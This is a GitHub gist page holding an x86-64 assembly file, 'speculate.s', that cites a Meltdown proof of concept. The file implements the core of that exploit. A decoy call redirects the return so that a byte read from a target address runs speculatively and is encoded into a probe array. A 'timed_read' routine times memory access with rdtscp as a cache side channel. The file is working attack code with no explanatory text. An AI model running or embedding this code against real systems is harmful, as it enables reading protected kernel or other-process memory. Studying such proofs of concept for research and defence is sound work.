Last active
January 15, 2018 07:57
-
-
Save tlatkdgus1/6df379f7c8d61c7835c419e39192e4fb to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
.file "speculate.s" | |
.intel_syntax noprefix | |
.text | |
.globl speculate | |
.type speculate, @function | |
speculate: | |
mfence | |
call herring | |
movzx eax, byte ptr [rdi] | |
shl eax, 12 | |
movzx eax, byte ptr [rsi+rax] | |
herring: | |
xorps xmm0, xmm0 | |
sqrtpd xmm0, xmm0 | |
sqrtpd xmm0, xmm0 | |
sqrtpd xmm0, xmm0 | |
sqrtpd xmm0, xmm0 | |
movd eax, xmm0 | |
lea rsp, [rsp+rax+8] | |
ret | |
.globl timed_read | |
.type timed_read, @function | |
timed_read: | |
rdtscp | |
shl rdx, 32 | |
or rax, rdx | |
mov rsi, rax | |
mov al, [rdi] | |
rdtscp | |
shl rdx, 32 | |
or rax, rdx | |
sub rax, rsi | |
ret | |
.section .note.GNU-stack, "", @progbits | |
ref : https://github.com/corsix/meltdown-poc |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment